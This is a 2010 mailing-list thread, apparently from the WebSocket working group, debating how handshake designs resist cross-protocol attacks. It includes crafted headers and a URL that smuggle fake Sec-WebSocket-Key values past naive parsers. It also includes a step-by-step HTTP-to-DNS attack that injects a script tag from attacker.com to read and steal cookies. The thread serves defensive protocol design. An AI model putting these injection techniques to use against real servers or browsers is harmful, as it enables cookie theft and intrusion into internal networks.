real problems with intermediaries now - so it needs to be fixed.

regards

---

From: Maciej Stachowiak <[email-masked]>
Date: Wed, 29 Sep 2010 09:47:37 -0700

> interpret them WS messages.

The idea is that you make an HTTP request with a header that looks close enough to the WS handshake to fool the server, followed by what appear to be WS messages in the body.

> Why is hex encoding simpler to inject than the space/char injected

Because you can't inject whitespace into the resource name in the request line.

> without spaces, but could not send ones with spaces?

Sticking something that looks like a Sec- header into the request line is possible (that is under the attacker's control with both WebSocket and HTTP APIs) but you can't include whitespace - it will get stripped or percent-escaped.

> so thus require data from multiple header fields.

Your proposal implied only a single nonce value, but I agree that aspect is not an essential part of your proposal.

> real problems with intermediaries now - so it needs to be fixed.

For the record, I don't think the unframed random bytes in the request add any security value.

As I understand it, they are intended to trigger fast-fail in unaware intermediaries without extra round trips. I do not personally have any data on whether they work for this purpose. We do seem to have some data that it causes unnecessary failures to connect. Any way to detect intermediaries that can't support WebSocket should ideally be tested in the field in some way (much as the older -75 handshake was). This applies both to new proposals and the -76 handshake, as far as I am concerned.

Personally, I would prefer if failure-detection mechanisms were kept separate from security mechanisms if possible.

Regards,
Maciej

---

From: Scott Ferguson <[email-masked]>
Date: Wed, 29 Sep 2010 09:58:32 -0700

Maciej Stachowiak wrote:
>> #2 is certainly a security benefit for servers. If a server provides 
>> a non-browser service, it needs the ability to authenticate. That 
>> should be an obvious security need.
>
> Can you explain the security benefit specifically of changing the 
> opcodes of the packets involved in the handshake? It's not clear to 
> me. A new authentication scheme may or may not have benefits on its 
> own, but changing the handshake message opcodes does not seem to make 
> any difference to this.

The opcode itself doesn't matter. It's the extension space for 
challenge/response authentication in the handshake payload that's the 
important added value. (It's not related to cross-protocol issues, but 
still an important security issue, because servers need to protect 
themselves against non-browser websockets clients.)

>> cross-protocol attack is authenticating both the client and the 
>> server as implementing the correct protocol. Once you've validated 
>> both sides as implementing websockets, then any attack is no longer a 
>> cross-protocol attack.
>>
>> ever produce that hash because on a websocket server has that 
>> "secret". SMTP cannot produce that response because it don't have 
>> that secret (and doesn't produce hashes at all, of course.)
>
> This does not seem like a classical authentication problem to me. 
> There is no actual secret and no actual proof of identity. Rather, the 
> cross-protocol defense provided depends on the presumed inability of 
> stock servers or browser-hosted client code to send or meaningfully 
> process particular messages. For example, the security of this scheme 
> would be largely unaffected if the hash was not cryptographically 
> secure, which is surely not the case with actual authentication 
> schemes. Robustness against cross-protocol attacks is simply not the 
> same problem.

The server hash validation is stronger than your description, because 
it's also checking that the server is in possession of the "WebSocket" 
string (a "secret"), which is more than just checking that the server 
can calculate the hash.   A future protocol's server might calculate a 
hash just like WebSockets does, but it would not be in possession of the 
"WebSocket" string. The server's possession of that "secret" is proof of 
its identity as a websockets server.

For the client validation, the "WEBSOCKET" method would be sufficient by 
itself if it could never be produced by a hijacked browser. The 
H(s-nonce, "WebSocket") would be a bit of overkill in that case, but 
it's easy to produce and strengthens the defense against future protocol 
hijacking, not specifically HTTP clients.

And if the initial client bytes do not uniquely identify the protocol as 
WebSockets (e.g. "GET") or the bytes are hijackable, then you do need to 
validate the client with something like this hash and you would want to 
check that the client possesses the "WebSockets" string in a 
non-hijackable form. If a future protocol used a similar cross-protocol 
validation technique, the hash and "WebSocket" would distinguish a 
websocket client from the future hijacked protocol. That's a stronger 
protection than the -76 random bytes, because those bytes say 
"not-HTTP"; they don't identify it as "WebSocket".

But you're right, since cross-protocol validation is a weaker 
requirement than classical authentication, it doesn't need a 
cryptographically secure hash. The shared "secret" is not secret to the 
world; it's just a secret to any non-websocket server.

-- Scott

---

From: Willy Tarreau <[email-masked]>
Date: Wed, 29 Sep 2010 19:15:50 +0200

> The idea is that you make an HTTP request with a header that looks close enough to the WS handshake to fool the server, followed by what appear to be WS messages in the body.

Except that you have the Upgrade header which requires a 101 in
response. A normal HTTP server will either :
  - ignore the Upgarde and return a classical code (200, 404, 403, ...)
  - consider the Upgrade header and either return 101 because it matches
    the protocol it supports (WebSocket) or return an error code because
    it does not support the WS protocol.

Regards,
Willy

---

From: Simone Bordet <[email-masked]>
Date: Wed, 29 Sep 2010 20:38:11 +0200

Hi,

>    it does not support the WS protocol.

I think Maciej's point was that the server could interpret a ws
message before knowing that the client is a real (or good) ws client.
E.g.

GET / HTTP/1.1
...
Upgrade: WebSocket
Content-Length: 0
<bytes that look like a ws frame>

The server replies with a 101, then starts reading the bytes
interpreting them as websocket.

However, I don't see how this could be interpreted by a ws server in
the ping-pong handshake that Greg/Scott were proposing: there is no
way for the client to guess the exact content of the pong message
before receiving the ping.
And a HTTP server would just choke on those bytes, because I don't
think that a ws message (whatever framing we settle on) can possibly
generate a valid http request line.
The server would just read the bytes, understand the client is not a
ws compliant client, and close the connection.
And if it does not, then it's a buggy server and there is nothing we
can do about (both as a websocket and http server).

I am sure I miss something and that an attack is possible, but I cannot see it.
Would someone more expert on the area provide an example of how the
ping-pong handshake would offer an attack opening ?

Simon

---

From: Maciej Stachowiak <[email-masked]>
Date: Wed, 29 Sep 2010 12:33:05 -0700

>    it does not support the WS protocol.

A standalone WebSocket server may well ignore the presence/absence of the Upgrade header, since performing the rest of the handshake does not depend on it in any way. Since checking it is not technologically required, it's likely some servers won't check it.

Regards,
Maciej

---

From: Maciej Stachowiak <[email-masked]>
Date: Wed, 29 Sep 2010 12:36:32 -0700

> before receiving the ping.

In the original proposal, the contents of the ping message were 100% predictable. A variant proposal would make them less predictable by introducing a server nonce. However, the server wouldn't actually have to read the pong contents to process messages. 

My further suggested variant suggests one-time-pad encrypting the frames themselves, which would make it impossible to exchange well-formed frames at all unless the handshake is performed properly. This makes it essentially impossible for the server to be sloppy about the handshake, since it would not work at all in that case, instead of sloppily allowing things it shouldn't. Though as I mentioned, if we start encrypting every message, even using the cheap XOR approach, we're heading down the road to reinventing TLS.

Regards,
Maciej

---

From: Willy Tarreau <[email-masked]>
Date: Wed, 29 Sep 2010 22:45:18 +0200

> A standalone WebSocket server may well ignore the presence/absence of the Upgrade header, since performing the rest of the handshake does not depend on it in any way. Since checking it is not techn…

OK now I see your point. However I disagree with the need to protect
such a broken implementation. We're back to the "and what if the
server-side implementation is buggy ?". A publicly accessible server
returning 101 to random requests will just get tons of unwanted requests
from random HTTP scans which will cause it major trouble anyway. The
presence of the Upgrade header *is* the only element that can dictate
a valid response. However I agree that the handshake should ensure
that a client can quickly escape from such a broken implementation,
the same way as right now a browser should reject responses which do
not look like HTTP.

Regards,
Willy

---

From: Greg Wilkins <[email-masked]>
Date: Thu, 30 Sep 2010 08:08:44 +1000

> Because you can't inject whitespace into the resource name in the request line.

It is very hard to imagine a server that is so broken that it will
allow injection of fully formed HTTP requests, responses into a URL,
complete with CRLF etc. but that will not allow spaces to be injected.

Also, the attacks described do not need to inject the space encoded
fields.  They are part of the request and the attacker is happy for
the server to just ignore them.  The attacker is trying to inject a
valid 101 response.

Unless you are concerned that somehow the WS server will see the URL
in the upgrade request as a second upgrade request??
but simple WS servers are not going to process multiple HTTP requests
and complex ones are going to have real HTTP parsers that should not
be vulnerable to such an attack - if they were, then they are so
broken that spaces are not going to make a difference, because you
must also be able to inject CRLF.

> Sticking something that looks like a Sec- header into the request line is possible (that is under the attacker's control with both WebSocket and HTTP APIs) but you can't include whitespace - it wil…

Injecting such things into request lines is normally part of an attack
to cause the server to echo that content back as part of a response.
There is no benefit of putting Sec- headers into the response.

Having Sec-header content in the request line is not going to make the
server see that as another HTTP request or as part of the current HTTP
request - unless it is so broken that CRLF can be inject, in which
case I don't think spaces are much protection.

> For the record, I don't think the unframed random bytes in the request add any security value.

Then why are you fighting so hard against my reasonable proposals?

Couldn't you just have said +1 to framing those bytes, but I'm a
little worried about taking the spaces out???
Did you really need to start this whole thread questioning my
capabilities to understand a cross protocol attack?

> Personally, I would prefer if failure-detection mechanisms were kept separate from security mechanisms if possible.

I have long argued for that.   In fact I believe that it would be
sufficient to put the hash into a response header.
However, some appear to have concerns with that - so I was proposing
minimal changes to try to fix the broken handshake.
If you think we should go further, then that is no reason to argue
against the modest proposals that I have made:

  + frame the random bytes as websocket frames
  + don't send ws frames until after 101.
  + use a simple hex encoding for the nonce

---

From: Maciej Stachowiak <[email-masked]>
Date: Wed, 29 Sep 2010 18:40:52 -0700

On Sep 29, 2010, at 1:45 PM, Willy Tarreau wrote:

> such a broken implementation.

As a browser implementor, I don't have the luxury of taking that stance. Users will blame the browser.

> We're back to the "and what if the server-side implementation is buggy ?".

We can design the protocol so it's easy to make mistakes that cause a security vulnerability. Or we can make it hard to make mistakes. I prefer the latter. Same reason much application-level server code is written in languages that do not have raw pointers - why use a more error-prone tool if you don't have to?

> A publicly accessible server
> from random HTTP scans which will cause it major trouble anyway.

Depends on what it's checking. If it looks for a string matching "Sec-WebSocket-Nonce" or what have you, that won't be in most random unwanted requests. Note that one case we are concerned about is severs protected solely by a firewall. In that case, the only way parties outside the firewall can do random scans is by hijacking a user's browser, and using the browser's HTTP capabilities.

But in any case, the very thing I am proposing we do is design the handshake so it's not likely that servers would be at risk from random HTTP scans.

Note that the NPN+TLS handshake won't have this problem. There's no way to produce anything that looks even remotely like it form a browser-hosted HTTP client.

> The

That may be useful in its own right, but it would not in any way help in the case of an HTTP client being used to attack WebSocket. The HTTP client implementation will not be looking for a WebSocket server, broken or otherwise, so nothing the client does can offer any protection.

Regards,
Maciej

---

From: Maciej Stachowiak <[email-masked]>
Date: Wed, 29 Sep 2010 18:52:21 -0700

> complete with CRLF etc. but that will not allow spaces to be injected.

The injection we are talking about is client side, not server side. All browser-hosted HTTP and WebSocket APIs let you provide a URL, but will not send a request line that contains whitespace.

> the server to just ignore them.  The attacker is trying to inject a

We're clearly not using "inject" in the same way. When I say "injected", I mean "caused by the attacker to be inserted into a browser-generated request that they do not fully control"

> in the upgrade request as a second upgrade request??

I don't see how this relates to my scenario. It doesn't involve a second upgrade request.

> must also be able to inject CRLF.

You only need to be able to inject CRLF if something about the server-side check is required to look at multiple lines. Imagine poorly coded regexp-matching parsers that look at one line at a time.

> There is no benefit of putting Sec- headers into the response.

Perhaps, but I don't believe that is the scenario the whitespace encoding was meant to address. I don't think the whitespace encoding of the nonce is particularly powerful, but it does have an effect.

> case I don't think spaces are much protection.

The client can't generally be tricked into putting CRLF into the request line (though occasionally a bug like that crops up and creates security vulnerabilities).

> Then why are you fighting so hard against my reasonable proposals?

I'm not "fighting against" your proposal, I am explaining how your proposed handshake creates security risk. I also think the current handshake creates security risk (maybe a tiny iota less).

> capabilities to understand a cross protocol attack?

I jumped in this thread solely to inject information about the risks of cross-protocol attacks, since it seemed like no one was thinking about the HTTP vs. WebSocket attack vector. At that point, people reacted skeptically and/or indignantly, so I tried to explain further. I am still not sure I have fully explained the risks adequately.

You made security claims about your handshake proposal - that is the sort of thing that invites scrutiny and security review. My comments so far are not even a particularly deep review.

>  + use a simple hex encoding for the nonce

My alternate proposal is that we drop HTTP-based handshakes entirely in favor of TLS+NPN. But I have also suggested several specific ways to make your proposed scheme more robust (server-side nonce, one-time-pad of the data frames, etc).

Regards,
Maciej

---

From: Greg Wilkins <[email-masked]>
Date: Thu, 30 Sep 2010 15:09:03 +1000

> The injection we are talking about is client side, not server side. All browser-hosted HTTP and WebSocket APIs let you provide a URL, but will not send a request line that contains whitespace.

So you are concerned about the ultra simple WS server that "parses"
the HTTP header with regex's like

  Sec-WebSocket-Key1:([A-Fa-f0-9]*)
  Sec-WebSocket-Key2:([A-Fa-f0-9]*)

Well such a simple server is not going to care if those fake fields
are in the request line or not, and will equally be fooled by XHR
headers like:

   Evil-Genius-1:  Sec-WebSocket-Key1:a34 89j 9a 9fjadsa91df
   Evil-Genius-2:  Sec-WebSocket-Key2:a423s 4  89j 5559aadsa91df
   Evil-Genius-3:  Connection:Upgrade

that will match regexes like

  Sec-WebSocket-Key1:([ A-Aa-z0-9]*)

While HTTP requests can be sent without XHR, these are of no value as
you will see in the analysis below that the method name must be
vulnerable and that will need XHR rather than a src element.

Note also that we are now requiring HTTP compliance before the 101, so
we can test for servers that do not do basic HTTP format checking (
eg by trying requests without any CRLF).

But even if such a server did escape into the wild, I think our
defence in depth will still deal adequately with this threat.

If the request sent had a URL like:

  /some/path/Sec-WebSocket-Key1:0123456789ABCDEF:Sec-WebSocket-Key2:0123456789ABCDEF:Upgrade:WebSocket:

or the headers above, then the regex's could indeed extract the
"injected" keys instead of the ones included in the header, and see
and upgrade header.

Let's also assume that this server has also ignored the URL, because
otherwise the injected URL would be gibberish to it and it would not
initiate a websocket.

Let's further assume that the rest of the request has been read and discarded.

The WS server will now send a 101 response followed by a ping message
with the the hash of the wrong keys in it, and a server-nonce.

The client will receive the 101 - and I'm not entirely sure what a
browser will do with it.   I would not be surprised if it treated it
as an error, but let's assume that the browser doesn't and continues
to use that connection.

The ping message is now sitting in the connection waiting for the
browser to read and process it.  Some browsers will error at this
stage because of the unsolicited input on the connection.  But let's
assume that they don't and they just leave the ping unread for now.

The server is waiting for a pong message before it concludes the
connection is OK.

The client must now somehow send that pong message on the wire.  I do
not believe that a valid pong message can be formed by a HTTP browser,
as the method would need to be formed from control characters.   But
let's assume that it is a broken browser as well and that some how it
allows a correctly formed pong message to be sent.   However, it
cannot form the pong message, because it does not know what the server
nonce is - thus it is not able to complete the handshake and without
the pong, the server will never process any messages that the client
might send.

But let us assume that the poor WS server has a bad RNG and the server
nonce was predictable (or even fixed), then maybe this broken client
could be tricked to send a pong with the right contents.

So with all these assumptions, we have now managed to establish a WS
connection from a HTTP client.  But this is what we want to enable
anyway - for browsers to be able to do this with the websocket API.
However the HTTP client might be able to send a very contrived packet
with the RSV bits and opcode set, but with the content of the frame
being made up of HTTP headers.   So the WS server must have to take
some undesirable action based on the RSV bits and op codes - but this
is a simple WS server, so that is highly unlikely.

Meanwhile, the server might have been sending data packets in
anticipation of the pong.  So let's say the browser sends a request
anyway, even though it is not a pong and will break the connection.
The browser will now look to the connection to read the response and
will see the waiting ping.   This does not look like a HTTP response,
so the browser will throw and error.  It will never process the server
messages after the ping and will certainly not make them available to
the javascript application in any way.

So to recap, this threat is based on:
 + WS server that ignores the URL
 + WS server that does not parse the HTTP and specifically does not
look for any CRLF
 + The browser does not error on the 101 response
 + The browser does not error on the unsolicited ping data
 + The browser allows a method name to be made with control characters
so that a PONG packet can be sent.
 + WS server has a predictable RNG
 + The WS server will take some undesirable action based on the
op-codes and RSV bits
 + The WS server will need to ignore the HTTP headers sent as the
content of any such forged frame.

Adding the space encoded keys does not help because XHR headers can be
used as indicated above.

I think this analysis just proves how insisting on HTTP compliance is
actually good for security as we can test to make sure that WS servers
are parsing CRLF.   It also shows that the space injection gives no
protection real protection and is only perceived to be more secure.
It also indicates that a server nonce is useful in increasing the
depth of defence.

regards

---

From: Willy Tarreau <[email-masked]>
Date: Thu, 30 Sep 2010 07:47:27 +0200

> Users will blame the browser.

well, right now some blame the protocol for being complex and error-prone.

> We can design the protocol so it's easy to make mistakes that cause a security vulnerability. Or we can make it hard to make mistakes. I prefer the latter.

I too do.

> Depends on what it's checking. If it looks for a string matching "Sec-WebSocket-Nonce" or what have you, that won't be in most random unwanted requests. Note that one case we are concerned about is…

The upgrade header won't be in random browser requests either. It's a
well-defined part of the HTTP protocol with specific semantics. Let's
be clear : I have no problem with looking at the WS nonce, and it is
required too. I mean that we must not complexify the handshake "just in
case". HTTP is a well-defined protocol with clear semantics. Some aspects 
of it are not well respected but most of them definitely are.

> But in any case, the very thing I am proposing we do is design the handshake so it's not likely that servers would be at risk from random HTTP scans.

That's my goal too : each side must be protected from the other side,
and must avoid attacking the other side, but we don't have to protect
each side from itself. So :

  - browsers must be able to distinguish between those 3 cases :
    1. servers that don't speak anything that looks like HTTP, so
       we must not blindly send too much data during the handshake.

    2. HTTP servers that don't speak websocket, so the handshake must
       ensure that it quickly fails on such a server (does not return
       101).

    3. real websocket servers

  - servers must be able to distinguish between those 3 cases :
    1. blind attacks with static data (bots, reverse FTP downloads, etc...)
       hence the need of a server-client-server check.

    2. HTTP browsers that try to make HTTP requests to a WS server
       (broken link on a page or CSRF, XHR, etc...). This is indicated
       by the lack of Upgrade and WS-specific headers ;

    3. real WS requests from browsers

Note that the first point for servers above should not even be required,
as HTTP servers don't do that right now. However I agree that it can be
a nice improvement eventhough it sometimes adds one RTT to the handshake
(in the case where the server has to talk first).

> Note that the NPN+TLS handshake won't have this problem. There's no way to produce anything that looks even remotely like it form a browser-hosted HTTP client.

I think that Adam will flame me for saying that, but in my opinion it
is equivalent : either the browser can present all what is needed or
it cannot. The Upgrade: WS header is the equivalent of the WS protocol
you'd announce in the NPN+TLS handshake. What TLS protects from is not
the server against the client, it's the client from connecting to non
WS servers (case 1 for browsers above). The Upgrade header is an HTTP
connection-specific header, it should be controlled by the lower layers
of the browser, basically at the same level as the TLS, where the user
has no control over what is sent.

> That may be useful in its own right, but it would not in any way help in the case of an HTTP client being used to attack WebSocket. The HTTP client implementation will not be looking for a WebSocke…

Yes it will, because a normal HTTP client must not accept 101 as a valid
response to an HTTP request, just as a WS client must not accept a non-101
response. We have two types of valid request/responses :
   - normal requests without Upgrade that cause any status except
     101 to be returned
   - Upgrade requests that cause 101+Upgrade in the response

Any combination of the two is wrong and must be rejected by the browser.
And if we want to help clients that would inadvertently retried the
response as data, that's one more reason to return "content-length:0"
and "connection: close" with the 101 response.

Also, you can't design a protocol that must protect two broken
implementations from talking to each other, because no side can rely on
the other one to do the cleanup. We need at least one compliant side to
apply our rules in order to recover.

Regards,
Willy

---

From: Patrick McManus <[email-masked]>
Date: Thu, 30 Sep 2010 08:19:15 -0400

> of it are not well respected but most of them definitely are.

+1.

I think it is important that we clearly define this aspect of the 
handshake as "WS over HTTP Upgrade" as it reinforces the fact that this 
portion of the protocol _is_ HTTP and therefore HTTP rules apply - it 
isn't websockets specific jargon that happens to look like HTTP anymore.

Likewise we can also define "WS over plain TCP", "WS over TLS" etc..

---

From: Scott Ferguson <[email-masked]>
Date: Thu, 30 Sep 2010 09:42:56 -0700

> Because you can't inject whitespace into the resource name in the request line.

Maciej, you're missing the entire point of the hash.  The main purpose 
of a hash/digest is to detect modification or replacement of a message 
as in an injection attack. That's what a digest does.

If the hijacker modifies the nonce, changing c-nonce to h-nonce through 
injection, the server will return H(h-nonce, "WebSocket"). The browser 
will then compare the returned hash to its internally-calculated 
H(c-nonce, "WebSocket"), which will not collide because of the hash 
function, detect the injection and drop the connection. That's why you 
have a hash.

In other words, the hash operation protects against the injection 
attacks you're talking about, and it does so in a clean and 
well-understood fashion without any need to play header syntax games. 
Creating multiple nonces does not increase the strength of the digest, 
and the division operation in -76 *weakens* the digest because it 
increases the chance that H(h-nonce, ...) will collide with H(c-nonce, ...).

-- Scott

---

From: Adam Barth <[email-masked]>
Date: Thu, 30 Sep 2010 10:03:24 -0700

On Thu, Sep 30, 2010 at 9:42 AM, Scott Ferguson <[email-masked]> wrote:
> Maciej, you're missing the entire point of the hash.  The main purpose of a
> hash/digest is to detect modification or replacement of a message as in an
> injection attack. That's what a digest does.

If that's the purpose of the hash, which elements of the protocol
defend against cross-protocol attacks?

Adam

---

From: Scott Ferguson <[email-masked]>
Date: Thu, 30 Sep 2010 18:50:35 -0700

> defend against cross-protocol attacks?

Ok. I think it's a good idea to step back a bit so we don't get lost in 
the weeds, because the injection discussion is a bit of a distraction.

The two main defenses against the cross protocol attack are:

  1) the client verifies the server as the same protocol before sending 
potentially damaging data ("server validation").

  2) the server verifies the client as the same protocol before 
interpreting potentially damaging data ("client validation").

For 1), server validation, the hash proposal accomplishes server 
validation based on the following:

  a) non-websocket servers will not be in possession of the "WebSocket" 
identifier
  b) c-nonce is not available to or predictable by the hijacker
  c) H(c-nonce, "WebSocket") cannot be produced by the hijacker, i.e. 
the hijacker can't get around its ignorance of (b) by producing a hash 
collision.

On the injection side-issue, as long as the hijacker cannot force a 
collision of the hash, any injection of c-nonce will be detected and 
rejected, because producing a bogus c-nonce will result in a bogus hash 
and therefore a rejection by the client before it sends damaging data.

If we're worried about injection into other parts of the request, like 
the URL, we could include them into the hash, so the client could verify 
that the server received the URL it thinks it sent. (As long as that 
change doesn't enable collisions of the resulting hash function.)

As a side effect, the hash function protects servers that don't 
calculate the hash at all, but that's not a sufficient defense, because 
a future protocol could copy the WebSockets handshake hash functions. 
But that calculation protection and the protection against injection are 
not the critical pieces. It's (a)-(c) that are providing the defense.

For 2), client validation, there are two independent defenses

2.1) "WEBSOCKET" method. If a hijacker cannot produce the "WEBSOCKET_" 
bytes because the browsers restrict HTTP methods, the server can verify 
the client as websocket with the first bytes, with the side effect of 
offering a limited defense for some non-websocket servers against URL 
and header cross-protocol attacks.

2.2) PING/PONG hash.

  a) s-nonce is not available to or predictable by the hijacker
  b) A non-websocket client is not in possession of the "WebSocket" 
identifier
  c) H(s-nonce, "WebSocket") cannot be produced by the hijacker and will 
not be produced by the hijacked non-websocket protocol.

In this case, for (b,c) I'm really thinking of some future non-HTTP 
protocol in the browser. It would be possible for a future protocol to 
follow the lead of WebSocket and use the same PONG hash calculation. But 
that future client will not be in possession of the "WebSocket" bytes. 
It's a bit of overkill for HTTP clients, but I think it would useful to 
handle future protocols.

To repeat the key pieces:

  a) c-nonce must not be available to or predictable by the hijacker
  b) "WebSocket" is not possessed by a non-websocket server
  c) s-nonce must not be available to or predictable by the hijacker
  d) "WebSocket" is not possessed by a non-websocket client
  e) the hashes must not have predictable collisions

  f) this does not protect non-validating servers against URL or HTTP 
header cross-protocol  attacks; its defense is limited to the frame stream.

-- Scott

---

From: Bjoern Hoehrmann <[email-masked]>
Date: Fri, 01 Oct 2010 04:16:14 +0200

>and header cross-protocol attacks.

It may be worth considering to use TRACE instead which is more likely to
be blocked than a new method, and TRACE requests must not contain entity
bodies. A downside would be that blocking TRACE becomes a bit harder for
servers and intermediaries.
-- 
Björn Höhrmann · mailto:[email-masked] · http://bjoern.hoehrmann.de
Am Badedeich 7 · Telefon: +49(0)160/4415681 · http://www.bjoernsworld.de
25899 Dagebüll · PGP Pub. KeyID: 0xA4357E78 · http://www.websitedev.de/

---

From: Adam Barth <[email-masked]>
Date: Thu, 30 Sep 2010 19:36:00 -0700

>  b) "WebSocket" is not possessed by a non-websocket server

You're making a bunch of assumptions about how non-websocket servers
behave.  In particular, consider a protocol like DNS.  It's entirely
possible that a DNS-like protocol could relay the c-nonce to the
attacker and give the attacker an opportunity to response with the
appropriate hash, which the server would then relay to the client.
Attacks of this general class (even against DNS) are known for HTTP.

The security of this protocol relies on more assumptions than you've
listed in your message.  Reasoning about security here is very subtle,
especially when reasoning about the behavior of non-WebSocket servers.
 We need to be prepared for them to do a wide variety of things.

As a side note, using an exotic HTTP method is not a good idea.  The
first few bytes of the clients initial message are absolutely
critical.  Picking an exotic HTTP method is just rolling the dice
w.r.t. what protocols an attacker can exploit.  For example, some
attacks from HTTP to DNS rely critically on the fact that the first
byte of an HTTP POST message is an uppercase P.  The kinds of things
you can do with an uppercase W as the first byte are largely
unstudied.

Adam

---

From: Greg Wilkins <[email-masked]>
Date: Fri, 1 Oct 2010 13:27:23 +1000

Adam,

At this stage in our deliberations we need a little more useful than a
statement that it is possible that protocol X might be vulnerable.
That is a truism - who would have thought TLS was vulnerable to a man
in the middle attack, but it was - so it is true that any protocol
might be vulnerable.    The question is - how likely is it to be
vulnerable and are we doing anything to increase the chances of that?

Can you explain how a DNS like protocol might be vulnerable to a HTTP
handshake?   Specially as it runs on port 53 which should not be
allowed to be the target of any HTTP or WS connections.

Can you cite any references that indicate that if  HTTP requests was
sent to a DNS server that it could be mistaken for DNS requests?  How
would a WS HTTP upgrade request be any more likely to be so mistaken?
How would having spaces in the nonce make this mistake any less likely
to occur? How would framing the random bytes change this?

Are there any recorded vulnerabilities of DNS servers echoing back any
content from a HTTP request?  If so, then I would expect these might
be already have been used as part of some XSS attack.  Reflecting user
data provided data is generally considered a bad thing to do and most
modern protocols only allow it in very limited situations (hence the
disabling of TRACE in HTTP).

Even if this was possible - what is the risk?  That a WS client will
look up DNS names?   Or do you have any indication that a WS handshake
will make a DNS server more vulnerable to cache poisoning or any other
spoofing attack?   Is there something about a WS handshake that would
better enable a cache poisoning attack more than XHR?  If through some
miracle the handshake was passed, is there something about the WS
frames that would allow attacks on DNS servers more than XHR?

There are a few moderate proposals being made to incrementally improve
the handshake problems that we currently have.  How does you statement
help us evaluate those proposals?

---

From: Adam Barth <[email-masked]>
Date: Thu, 30 Sep 2010 21:04:50 -0700

> vulnerable and are we doing anything to increase the chances of that?

It's important to design security protocols with a margin for error
because attacks only get better over time.  If you design something
that just barely resists exploits, chances are you'll be faced with
live exploits soon.

> allowed to be the target of any HTTP or WS connections.

That's another false assumption.  For example, in Internet Explorer,
you can direct an HTTP request to port 53.

> sent to a DNS server that it could be mistaken for DNS requests?

I've personally done it, although I didn't publish the results.  It's
subtle and it requires some careful analysis, but it's quite possible.
 Here's how the attack works:

1) From http://attacker.com in the user's browser, generating an HTTP
POST request to http://dns.example.com:53/ with a specially crafted
entity-body (more on the entity body later).
2) Normally DNS servers use UDP, but many of them are actually
listening on TCP for various historical reasons (something zone
transfers not fitting in single UDP packet).
3) Over TCP, the first byte of the DNS protocol indicates the frame length.
4) The first byte of an HTTP POST request is an uppercase P, which
indicates a moderate, but not excessively large frame.
5) Most (all?) DNS servers ignore garbage frames and move on to the next frame.
6) Given how things work out, the second frame ends up landing at a
predicable location in the entity-body.
7) At that location in the entity-body, embed a frame for a DNS
request for a TXT record from foo.attacker.com.
8) Reply to the request for the TXT record with the following text:
<script src="http://attacker.com/haxor.js"></script>
9) The DNS server happily forwards the record to the user's browser.
10) The browser misinterprets the response as an HTTP/1.0 response
with no Content-Type header.
11) The browser's content sniffing algorithm kicks in, sees the script
tag, and decides to render the response is text/html.
12) The HTML then loads the script from http://attacker.com, which
reads document.cookie.
13) Because cookies are shared between ports and subdomains, the
attacker learns the user's cookie at example.com.

Is this attack complicated?  Yes.  How many security failures had to
conspire to make this attack possible?  A ton.  Did I actually get
this to work?  Not quite:

Internet Explorer represents some classes of strings internally with
null termination.  At the time, it appeared to be impossible to
generate an HTTP request that contains a null byte.  It also appears
to be impossible to construct a DNS frame that lacks a null byte
(because DNS represents DNS names as a sequence of prefix length
encoded fields with a zero-length field as a terminator).  If I could
insert a single null byte in the HTTP request, I would have been able
to execute the rest of the attack.

What do we learn from this story?  The entire security property hung
on the fact that IE's DOM strips null bytes.  That's what I call
fragile.

> How would a WS HTTP upgrade request be any more likely to be so mistaken?

Each layer of defense helps.  Even with all the mitigations in the -76
handshake, I don't think it's sufficient.  Now, that's an opinion.  I
don't have a concrete attack to give you.  All I can do is argue from
authority.

By contrast, with the TLS-based handshake, I can give you a security
argument that convinces reasonable people that the handshake resists
cross-protocol attacks.  No argument from authority needed.

> content from a HTTP request?

I didn't record it, but I got it to work in the lab.

> If so, then I would expect these might
> be already have been used as part of some XSS attack.

Indeed.  If not for the null byte issue, this would have been XSS
against practically every domain on the Internet.

> Reflecting user

That's just nonsense.  Almost every protocol can be made to reflect
data provided by a third party.

> Even if this was possible - what is the risk?

Well, once I get past the handshake, WebSockets gives me an almost
unrestricted TCP connection to the target server.  If we weren't
worried about what an attacker could do with unrestricted TCP
connections to a server, we wouldn't need a handshake in the first
place.

> That a WS client will look up DNS names?

If it's the DNS server for your corporate intranet, I can go find a
bunch of interesting targets to attack on your network.  Incidentally,
DNS servers on internal networks are a very wide-spread example of
servers using network connectivity as their sole means of
authorization.

> Or do you have any indication that a WS handshake
> spoofing attack?

You're overly focused on specifics.  There's a lot more interesting
things you can do with a DNS server than poison it's cache.  There are
a lost more interesting protocols to attack than DNS.  It's a wild
world out there.

> Is there something about a WS handshake that would

Yes.  Once you get past the handshake, you can read back bytes from
the target server, which is difficult to do with XMLHttpRequest.

> help us evaluate those proposals?

This line of reasoning is analogous to you saying "let's use my
home-grown block cipher unless you can show me a key-recovery attack."
 Just because I can't demonstrate a key-recovery attack against your
home-grown block cipher doesn't means we should use it instead of AES.
 That you can't break your own handshake isn't surprising either.  As
Bruce Schneier is fond of saying, everyone can design a cryptosystem
that they themselves cannot themselves break.  Thanks, but no thanks.
I'd rather use AES.

Adam

---

From: Willy Tarreau <[email-masked]>
Date: Fri, 1 Oct 2010 07:30:41 +0200

Adam,

I agreed with almost all what you said except that :

> connections to a server, we wouldn't need a handshake in the first

It's not an "almost unrestricted TCP connection to the target server",
but rather an "almost unlimited bidirectional connection to the
target application". You need the other end to speak WS frames, even
if you have to trick it for this. But you won't use that connection
for SSH for instance.

Willy